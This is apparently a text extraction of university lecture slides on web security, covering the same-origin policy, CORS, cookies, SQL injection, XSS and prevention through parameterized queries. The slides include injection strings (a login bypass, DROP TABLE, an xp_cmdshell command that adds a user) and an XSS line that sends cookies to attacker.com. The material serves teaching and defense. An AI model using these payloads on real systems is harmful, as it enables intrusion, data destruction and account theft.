Web Attacks PDF

Cookies + Web Attacks CS155 Computer and Network Security Review: Web Same Origin Policy DOM Same Origin Policy Websites can embed (i.e., request) resources from any web origin but the requesting website cannot inspect content from other origins attacker.com http://example.com...

Cookies + Web Attacks CS155 Computer and Network Security Review: Web Same Origin Policy DOM Same Origin Policy Websites can embed (i.e., request) resources from any web origin but the requesting website cannot inspect content from other origins attacker.com http://example.com GET /img/usr.jpg bank.com A DOM origin is de ned as a (scheme, domain, port) e.g., (http, stanford.edu, 80) fi DOM SOP Vulnerabilities This can pose a security risk because attackers might not need to view the response to a request to pull o their attack attacker.com http://example.com GET /transfer?… bank.com ff Javascript Requests Javascript can make new requests for additional data and resources // running on attacker.com $.ajax({url: “https://bank.com/account", success: function(result){ $("#div1").html(result); } }); Cross-Origin Resource Sharing (CORS) By default, Javascript cannot read data sent back by a di erent origin app.bank.com GET /account $.ajax({url: “api.bank.com/account“, …}) api.bank.com ff Cross-Origin Resource Sharing (CORS) By default, Javascript cannot read data sent back by a di erent origin app.bank.com GET /account $.ajax({url: “api.bank.com/account“, …}) api.bank.com Servers can add Access-Control-Allow-Origin (ACAO) header that tells browser to allow access to content to be read by another origin app.bank.com GET /account $.ajax({url: “api.bank.com/account“, …}) ACAO: app.bank.com api.bank.com ff Simple vs. Pre-Flight Requests When a request would have been impossible without Javascript, CORS performs a Pre- Flight Check to determine whether the server is willing to receive the request from the origin $.ajax({ url: “api.bank.com/account“, type: “POST”, Requires Pre-Flight because it's not dataType: “JSON”, data: {“account”: “abc123”} possible to send JSON in HTML form }) OPTIONS /x POST /account Origin: Header: Access-Control-Allow-Origin: bank.com http://bank.com Origin: api.bank.com POST /account RESPONSE SERVER RESPONSE Cookies HTTP Cookies Set-Cookie: = Cookies “In scope” cookies are sent based on origin regardless of requester bank.com/login POST /login... bank.com bank.com/ GET /img/user.jpg ? executeQuery($sql); if $rs.count > 0 { // success } Non-Malicious Input $u = $_POST['login’]; // zakir $pp = $_POST['password']; // 123 $sql = "SELECT id FROM users WHERE uid = '$u' AND pwd = '$p'”; $rs = $db->executeQuery($sql); if $rs.count > 0 { // success } Non-Malicious Input $u = $_POST['login’]; // zakir $pp = $_POST['password']; // 123 $sql = "SELECT id FROM users WHERE uid = '$u' AND pwd = '$p'”; // "SELECT id FROM users WHERE uid = 'zakir' AND pwd = '123'” $rs = $db->executeQuery($sql); if $rs.count > 0 { // success } Bad Input $u = $_POST['login’]; // zakir $pp = $_POST['password']; // 123' $sql = "SELECT id FROM users WHERE uid = '$u' AND pwd = '$p'”; // "SELECT id FROM users WHERE uid = 'zakir' AND pwd = '123''” $rs = $db->executeQuery($sql); // SQL Syntax Error if $rs.count > 0 { // success } Malicious Input $u = $_POST['login']; // zakir'-- $pp = $_POST['password']; // 123 $sql = "SELECT id FROM users WHERE uid = '$u' AND pwd = '$p'”; // "SELECT id FROM users WHERE uid = 'zakir'-- AND pwd…” $rs = $db->executeQuery($sql); // (No Error) if $rs.count > 0 { // Success! } No Username Needed! $u = $_POST['login’]; // 'or 1=1 -- $pp = $_POST['password']; // 123 $sql = "SELECT id FROM users WHERE uid = '$u' AND pwd = '$p'”; // "SELECT id FROM users WHERE uid = ''or 1=1 -- AND pwd…” $rs = $db->executeQuery($sql); // (No Error) if $rs.count > 0 { // Success! } Causing Damage $u = $_POST[‘login’]; // '; DROP TABLE [users] -- $pp = $_POST['password']; // 123 $sql = "SELECT id FROM users WHERE uid = '$u' AND pwd = '$p'”; // "SELECT id FROM users WHERE uid = ''DROP TABLE [users]--” $rs = $db->executeQuery($sql); // No Error…(and no more users table) if $rs.count > 0 { // Success! } MSSQL xp_cmdshell Microsoft SQL server lets you run arbitrary system commands! xp_cmdshell { 'command_string' } [ , no_output ] “Spawns a Windows command shell and passes in a string for execution. Any output is returned as rows of text.” Escaping Database Server $u = $_POST['login']; // '; exec xp_cmdshell 'net user add usr pwd'-- $pp = $_POST['password']; // 123 $sql = "SELECT id FROM users WHERE uid = '$u' AND pwd = '$p'”; // "SELECT id FROM users WHERE uid = ''; exec xp_cmdshell 'net user add usr pwd123'-- " $rs = $db->executeQuery($sql); // No Error…(and with a resulting local system account) if $rs.count > 0 { // Success! } Preventing SQL Injection Never trust user input (particularly when constructing a command) Never manually build SQL commands yourself! There are tools for safely passing user input to databases: Parameterized (AKA Prepared) SQL ORM (Object Relational Mapper) -> uses Prepared SQL internally  Parameterized SQL Parameterized SQL allows you to send query and arguments separately to server sql = “INSERT INTO users(name, email) VALUES(?,?)” Values are sent to server cursor.execute(sql, ['Dan Boneh', ‘[email protected]']) separately from command. Library doesn’t need to escape sql = "SELECT * FROM users WHERE email = ?" cursor.execute(sql, [‘[email protected]']) Bene t 1: No need to escape untrusted data — server handles behind the scenes Bene t 2: Parameterized queries are faster because server caches query plan fi fi Object Relational Mappers Object Relational Mappers (ORM) provide an interface between native objects and relational databases. class User(DBObject): __id__ = Column(Integer, primary_key=True) name = Column(String(255)) email = Column(String(255), unique=True) if __name__ == "__main__": users = User.query(email='[email protected]').all() session.add(User(email='[email protected]', name='Dan Boneh')) session.commit() Cross Site Scripting (XSS) Cross Site Scripting (XSS) Cross Site Scripting: Attack occurs when application takes untrusted data and sends it to a web browser without proper validation or sanitization. Command/SQL Injection Cross Site Scripting attacker’s malicious code is attacker’s malicious code is executed on app’s server executed on victim’s browser Search Example https://google.com/search?q= Search Results Results for Normal Request https://google.com/search?q=apple Search Results Results for Sent to Browser Search Results Results for apple Embedded Script https://google.com/search?q=alert(“hello”) Search Results Results for Sent to Browser Search Results Results for alert(“hello") Cookie Theft! https://google.com/search?q=… Search Results Results for window.open(“http:///attacker.com?”+cookie=document.cookie)  Types of XSS An XSS vulnerability is present when an attacker can inject scripting code into pages generated by a web application. Two Types: Re ected XSS. The attack script is re ected back to the user as part of a page from the victim site. Stored XSS. The attacker stores the malicious code in a resource managed by the web application, such as a database. fl fl  Re ected Example Attackers contacted PayPal users via email and fooled them into accessing a URL hosted on the legitimate PayPal website. Injected code redirected PayPal visitors to a page warning users their accounts had been compromised. Victims were then redirected to a phishing site and prompted to enter sensitive nancial data. fl fi Stored XSS The attacker stores the malicious code in a resource managed by the web application, such as a database. Samy Worm XSS-based worm that spread on MySpace. It would display the string "but most of all, samy is my hero" on a victim's MySpace pro le page as well as send Samy a friend request. In 20 hours, it spread to one million users. fi MySpace Bug MySpace allowed users to post HTML to their pages. Filtered out , , onclick, Missed one. You can run Javascript inside of CSS tags. Filtering Malicious Tags For a long time, the only way to prevent XSS attacks was to try to lter out malicious content Validate all headers, cookies, query strings, form elds, and hidden elds (i.e., all parameters) against a rigorous speci cation of what is allowed ‘Negative’ or attack signature based policies are di cult to maintain and are likely to be incomplete fi fi ffi fi fi Filtering is Really Hard Large number of ways to call Javascript and to escape content URI Scheme: On{event} Handers: onSubmit, OnError, onSyncRestored, … (there’s ~105) Samy Worm: CSS Tremendous number of ways of encoding content Google XSS FIlter Evasion! Filters that Change Content Filter Action: lter out